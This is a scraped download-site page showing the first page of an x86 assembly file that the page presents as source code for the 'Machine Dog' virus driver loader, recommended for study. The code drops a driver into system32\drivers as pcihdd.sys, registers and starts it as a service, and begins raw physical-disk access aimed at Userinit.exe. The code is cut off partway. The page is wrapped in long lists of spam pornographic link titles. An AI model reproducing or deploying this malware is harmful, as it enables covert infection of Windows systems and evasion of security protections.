亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? test.asm

?? 機器狗病毒的驅動程序源代碼,值得好好學習
?? ASM
?? 第 1 頁 / 共 2 頁
字號:
.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib

.data 
Text            db '對不起,驅動程序的加載沒有成功,程序將無法運行.',0
FileName        db '\\.\PhysicalHardDisk0',0
a_Physicaldrive  db '\\.\PhysicalDrive0',0
aFCJ            db '分配內存不成功',0
OutputString    db '操作成功', 0
Dst             db 10Ch dup(0)
hModule         dd 0
ERR1            db '尋址文件不成功',0  
ERR2            db '不支持的磁盤分區',0
ERR3            db '第一個分區不是啟動分區',0
ERR4            db '該文件是壓縮文件,不能操作',0
ERR5            db '獲取文件原始信息失敗',0
ERR6            db '打開文件失敗',0
ERR7            db '加載驅動失敗',0

.code

Src             db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName     db 'PciHdd',0

;**********************************************************************************************
;退出服務,并刪除文件badwolf祝福你好運!http://www.winshell.cn QQ:13699576
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte

push  0F003Fh    ; dwDesiredAccess
push  0    ; lpDatabaseName
push  0    ; lpMachineName
call  OpenSCManagerA
or  eax, eax
jz  OpenSCManagerFail
mov  hSCManager, eax

push  0F01FFh    ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  hSCManager ; hSCManager
call  OpenServiceA
or  eax, eax
jz  OpenServiceFail
mov  hSCObject, eax
lea  eax, ServiceStatus
push  eax    ; lpServiceStatus
push  1    ; dwControl
push  hSCObject  ; hService
call  ControlService

push  hSCObject  ; hService
call  DeleteService

push  hSCObject  ; hSCObject
call  CloseServiceHandle

OpenServiceFail:    ; hSCObject
push  hSCManager
call  CloseServiceHandle

OpenSCManagerFail:    ; nSize
push  100h
lea  eax, @FileName
push  eax    ; lpDst
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call  ExpandEnvironmentStringsA

lea  eax, @FileName
push  eax    ; lpFileName
call  DeleteFileA
ret
QuitService endp

;**********************************************************************************************
;從資源中加載二進制內容寫入文件,并將文件寫入環境變量,然后啟動服務,最后去掉環境變量,刪除文件
;**********************************************************************************************
LoadServiceFromRes proc  

LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten

push  3E9h    ; lpType
push  3E9h    ; lpName
push  hModule    ; hModule
call  FindResourceA
or  eax, eax
jz  failed

mov  hResInfo,  eax
push  eax    ; hResInfo
push  hModule    ; hModule
call  SizeofResource
mov  nNumberOfBytesToWrite, eax

push  hResInfo  ; hResInfo
push  hModule    ; hModule
call  LoadResource
or  eax, eax
jz  failed

push  eax    ; hResData
call  LockResource
or  eax, eax
jz  failed
mov  lpBuffer,  eax

failed:
or  eax, eax
jnz  CONTINUE
jmp  Exit

CONTINUE:    ; nSize
push  100h
lea  eax, @FileName 
push  eax    ; lpDst
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call  ExpandEnvironmentStringsA

push  0    ; hTemplateFile
push  80h    ; dwFlagsAndAttributes
push  4    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  0    ; dwShareMode
push  40000000h  ; dwDesiredAccess
lea  eax, @FileName
push  eax    ; lpFileName
call  CreateFileA
cmp  eax, 0FFFFFFFFh
jnz  short CREATEFILEOK
jmp  Exit

CREATEFILEOK:
mov  hObject, eax
push  0    ; lpOverlapped
lea  eax, NumberOfBytesWritten
push  eax    ; lpNumberOfBytesWritten
push  nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push  lpBuffer  ; lpBuffer
push  hObject   ; hFile
call  WriteFile

push  hObject          ; hFile
call  SetEndOfFile

push  hObject    ; hFile
call  FlushFileBuffers
push  hObject   ; hObject
call  CloseHandle
        
push  0F003Fh         ; dwDesiredAccess
push  0    ; lpDatabaseName
push  0    ; lpMachineName
call  OpenSCManagerA
or  eax, eax
jz  OpenSCManagerFailed
mov  hSCManager, eax

push  0    ; lpPassword
push  0    ; lpServiceStartName
push  0    ; lpDependencies
push  0    ; lpdwTagId
push  0    ; lpLoadOrderGroup
lea  eax, @FileName
push  eax    ; lpBinaryPathName
push  0    ; dwErrorControl
push  3    ; dwStartType
push  1    ; dwServiceType
push  0    ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  offset ServiceName ; "PciHdd"
push  hSCManager      ; hSCManager
call  CreateServiceA
or  eax, eax
jz  CreateServiceFailed
mov  hSCObject, eax
push  hSCObject  ; hSCObject
call  CloseServiceHandle
jmp  OPENSERVICE

CreateServiceFailed:    
push  0F01FFh            ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  hSCManager      ; hSCManager
call  OpenServiceA
or  eax, eax
jz  short OpenServiceFailed
mov  hSCObject, eax
lea  eax, ServiceStatus
push  eax    ; lpServiceStatus
push  1    ; dwControl
push  hSCObject  ; hService
call  ControlService
push  hSCObject  ; hService
call  DeleteService
push  hSCObject  ; hSCObject
call  CloseServiceHandle

OpenServiceFailed:    
push  0               ; lpPassword
push  0    ; lpServiceStartName
push  0    ; lpDependencies
push  0    ; lpdwTagId
push  0    ; lpLoadOrderGroup
lea  eax, @FileName
push  eax    ; lpBinaryPathName
push  0    ; dwErrorControl
push  3    ; dwStartType
push  1    ; dwServiceType
push  0    ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  offset ServiceName ; "PciHdd"
push  hSCManager ; hSCManager
call  CreateServiceA
or  eax, eax
jz  QUIT
mov  hSCObject, eax
push  hSCObject  ; hSCObject
call  CloseServiceHandle
jmp  OPENSERVICE

QUIT:
jmp  Exit

OPENSERVICE:    
push  10h                ; dwDesiredAccess
push  offset ServiceName ; "PciHdd"
push  hSCManager ; hSCManager
call  OpenServiceA
or  eax, eax
jz  OPENSERVICEFAILED
mov  hSCObject, eax
push  0    ; lpServiceArgVectors
push  0    ; dwNumServiceArgs
push  hSCObject  ; hService
call  StartServiceA
or  eax, eax
jnz  StartServiceOK
jmp  Exit

StartServiceOK:    ; hSCObject
push  hSCObject
call  CloseServiceHandle
push  hSCManager ; hSCObject
call  CloseServiceHandle
jmp  OpenSCManagerFailed

OPENSERVICEFAILED:    
push  hSCManager 
call  CloseServiceHandle
jmp  Exit

OpenSCManagerFailed:    ; nSize
push  100h
lea  eax, @FileName
push  eax    ; lpDst
push  offset Src  ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call  ExpandEnvironmentStringsA
lea  eax, @FileName
push  eax    ; lpFileName
call  DeleteFileA
ret

Exit:    
push  10h
push  0    ; lpCaption
push  offset Text  ; "出錯"
push  0    ; hWnd
call  MessageBoxA
push  0    ; uExitCode
call  ExitProcess
LoadServiceFromRes  endp

aSystemrootSyst  db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盤使用的基本單元。 組成一個簇的扇區數總是2的冪數,當卷被格式化時此數值是固定的。 此數值稱為簇要素,
;通常用字節引用,如8KB,2KB。 NTFS通過每件事的邏輯簇數來尋址。
;邏輯簇數(LCN):卷里的每個簇都給定了一個順序號,這是它的邏輯簇數。LCN0(零)指向卷的第一個簇(引導扇區)。
;                用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;實際簇數(VCN):一個非常駐的流的每個簇都給定了一個順序號,這是它的實際簇數。VCN0(零)指向這個流的第一個簇。
;               要定位磁盤上的流,就必須把VCN轉換成LCN.這是在數據運轉的幫助下完成的。
;
;數據運轉:每個LCN的連續模塊都被賦予了一個數據運轉,它包含一個VCN,一個LCN和一個長度。 
;         當NTFS需要在磁盤上找到一個對象時,就查看數據運轉中的VCN來得到LCN。 

;其他信息:
; 1)當卷被格式化時可以選擇簇的大小。
; 2)一個卷的簇的大小存儲在$Boot里。也定義了此值在一個MFT文件記錄和一個索引記錄的簇里。
; 3)如果扇區數在用,NTFS通過引用簇數可以尋址更大的磁盤。

;下面是一個關于允許和默認簇的大小的列表:

;Windows NT
;    512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
;   512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB

;卷的大小   默認的簇的大小
;< 512MB   Sector size
;< 1GB    1KB
;< 2GB    2KB
;> 2GB    4KB
;***************************************************************************************************************
DoMyWork proc  lpFileName   ;成功返回值為0

LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject

pusha
push  0    ; hTemplateFile
push  0    ; dwFlagsAndAttributes
push  3    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  0    ; dwShareMode
push  80000000h  ; dwDesiredAccess
push  offset FileName  ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys創建的符號鏈接
call  CreateFileA
cmp  eax, 0FFFFFFFFh
jz  CreateFileFailed
mov  hDevice, eax

push  0    ; hTemplateFile
push  20000000h  ; dwFlagsAndAttributes
push  3    ; dwCreationDisposition
push  0    ; lpSecurityAttributes
push  3    ; dwShareMode
push  80000000h  ; dwDesiredAccess
push  lpFileName  ; 打開userinit.exe
call  CreateFileA
cmp  eax, 0FFFFFFFFh
jz  CreateUserInitFileFailed
mov  hObject, eax

       push    8
       lea     eax,InBuffer
       push    eax

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
欧美日韩免费观看一区二区三区 | 成人自拍视频在线观看| 欧美乱妇15p| 一区二区三区在线播放| 色偷偷久久人人79超碰人人澡| 日本一区二区三区在线观看| 国产一区二区精品久久99| 精品国产成人系列| 亚洲日本va午夜在线影院| av亚洲精华国产精华| 国产精品久久久久影院色老大| 蜜臀av性久久久久蜜臀aⅴ四虎| 6080亚洲精品一区二区| 一区二区三区四区亚洲| 欧美亚洲高清一区| 天天综合天天做天天综合| 欧美日韩色一区| 美女任你摸久久| 久久伊99综合婷婷久久伊| 日日夜夜一区二区| 欧美大片日本大片免费观看| 久久er精品视频| 国产日韩亚洲欧美综合| 99视频在线精品| 久久久国际精品| 99精品视频在线播放观看| 高清国产午夜精品久久久久久| 久久精品人人爽人人爽| 99久久精品一区二区| 亚洲精品国产精品乱码不99| 欧美在线一区二区三区| 日韩国产成人精品| 国产日韩欧美a| 欧美优质美女网站| 九九热在线视频观看这里只有精品| 在线观看欧美精品| 中文字幕一区二区三区四区不卡| 777亚洲妇女| 9l国产精品久久久久麻豆| 日本亚洲视频在线| 日韩毛片高清在线播放| 精品国产亚洲一区二区三区在线观看| 99视频超级精品| 精品一区二区av| 日韩精品91亚洲二区在线观看| 中文字幕精品综合| 欧美电影免费观看高清完整版在 | 国产精品一二三四| 丝袜脚交一区二区| 亚洲蜜臀av乱码久久精品蜜桃| 精品国精品自拍自在线| 91精品国产手机| 欧美专区亚洲专区| 色婷婷激情一区二区三区| 国产伦精品一区二区三区免费| 日本欧美大码aⅴ在线播放| 亚洲综合在线五月| 中文字幕亚洲欧美在线不卡| 国产免费观看久久| 久久久久国产精品麻豆ai换脸| 日韩一级成人av| 欧美一区二区在线免费播放 | 日本不卡视频在线| 亚洲夂夂婷婷色拍ww47| 亚洲精品免费在线播放| 国产精品国产三级国产aⅴ入口 | 51精品国自产在线| 欧美伦理电影网| 欧美人妖巨大在线| 8v天堂国产在线一区二区| 欧美日韩国产一级二级| 国产精品美女一区二区在线观看| wwwwww.欧美系列| 久久无码av三级| 26uuu国产电影一区二区| 精品国产sm最大网站免费看| 欧美一区二区精品久久911| 欧美精品三级在线观看| 在线成人小视频| 91精品国产福利在线观看 | 青青草97国产精品免费观看 | 91精品国产一区二区三区香蕉| 欧美日韩国产123区| 777欧美精品| 91精品国产一区二区三区| 日韩亚洲欧美成人一区| 精品电影一区二区| 国产日产欧美精品一区二区三区| 欧美国产日产图区| 亚洲欧美日韩国产另类专区 | 国产欧美日韩在线看| 中文字幕不卡一区| 亚洲一区二区av在线| 视频在线观看国产精品| 韩国一区二区三区| 成人久久18免费网站麻豆| 日本久久精品电影| 91精品福利在线一区二区三区 | 中文字幕日韩欧美一区二区三区| 国产精品电影一区二区| 亚洲午夜在线电影| 美国一区二区三区在线播放| 东方aⅴ免费观看久久av| 91网页版在线| 欧美一级一区二区| 国产喂奶挤奶一区二区三区| 亚洲欧洲日韩av| 日韩精品一区第一页| 国产一区二区精品在线观看| 91视频免费看| 日韩亚洲欧美一区| 1000精品久久久久久久久| 偷偷要91色婷婷| 国产999精品久久久久久| 色婷婷久久久久swag精品| 欧美一级欧美三级| 自拍偷拍亚洲激情| 激情文学综合丁香| 色先锋久久av资源部| 精品国免费一区二区三区| 伊人婷婷欧美激情| 国产精品一二三在| 欧美男女性生活在线直播观看| 久久精品欧美一区二区三区不卡 | 一区二区成人在线视频| 激情图片小说一区| 欧美日韩亚洲国产综合| 国产三级精品视频| 日韩高清一区二区| 一本色道a无线码一区v| 欧美精品一区在线观看| 午夜精品一区二区三区免费视频 | 欧美精选一区二区| 国产精品国产自产拍高清av王其| 美腿丝袜亚洲综合| 色噜噜狠狠色综合中国| 欧美韩日一区二区三区四区| 久久精品国产第一区二区三区| 欧洲精品视频在线观看| 亚洲国产成人私人影院tom| 久久精品国内一区二区三区| 欧美日高清视频| 亚洲综合丝袜美腿| 91色婷婷久久久久合中文| 久久久久久久久久看片| 另类小说综合欧美亚洲| 91精品国产色综合久久不卡电影 | 久久蜜桃av一区精品变态类天堂| 亚洲成av人片在线| 欧美性猛交一区二区三区精品| 亚洲婷婷国产精品电影人久久| 国产91色综合久久免费分享| 2021久久国产精品不只是精品| 蜜桃91丨九色丨蝌蚪91桃色| 欧美精品v日韩精品v韩国精品v| 亚洲愉拍自拍另类高清精品| 91色乱码一区二区三区| 亚洲欧洲一区二区三区| 99久久精品费精品国产一区二区 | 亚洲制服丝袜av| 91久久精品一区二区二区| 亚洲美女精品一区| 色狠狠综合天天综合综合| 亚洲欧美色综合| 色综合久久66| 亚洲午夜羞羞片| 3d动漫精品啪啪| 麻豆精品在线播放| 久久久综合视频| 国产91精品精华液一区二区三区 | 国产精品美女久久久久久| 国产aⅴ综合色| 中文字幕日韩精品一区| 色国产综合视频| 亚洲成人动漫在线免费观看| 欧美日韩精品免费观看视频| 日韩激情视频在线观看| 日韩欧美一级在线播放| 九九在线精品视频| 国产精品麻豆视频| 亚洲男同性视频| 91国偷自产一区二区使用方法| 午夜精品福利一区二区三区av | 久久久国产一区二区三区四区小说 | 激情小说亚洲一区| 国产亚洲一本大道中文在线| 成人99免费视频| 亚洲福利视频一区| 日韩免费高清视频| 成人国产精品免费观看动漫| 综合久久给合久久狠狠狠97色| 欧美在线一区二区三区| 美女性感视频久久| 中文子幕无线码一区tr| 91福利在线观看| 久久精品国产精品亚洲精品| 国产精品国产精品国产专区不蜜 | 91亚洲大成网污www| 亚洲韩国精品一区| 久久综合久久综合亚洲|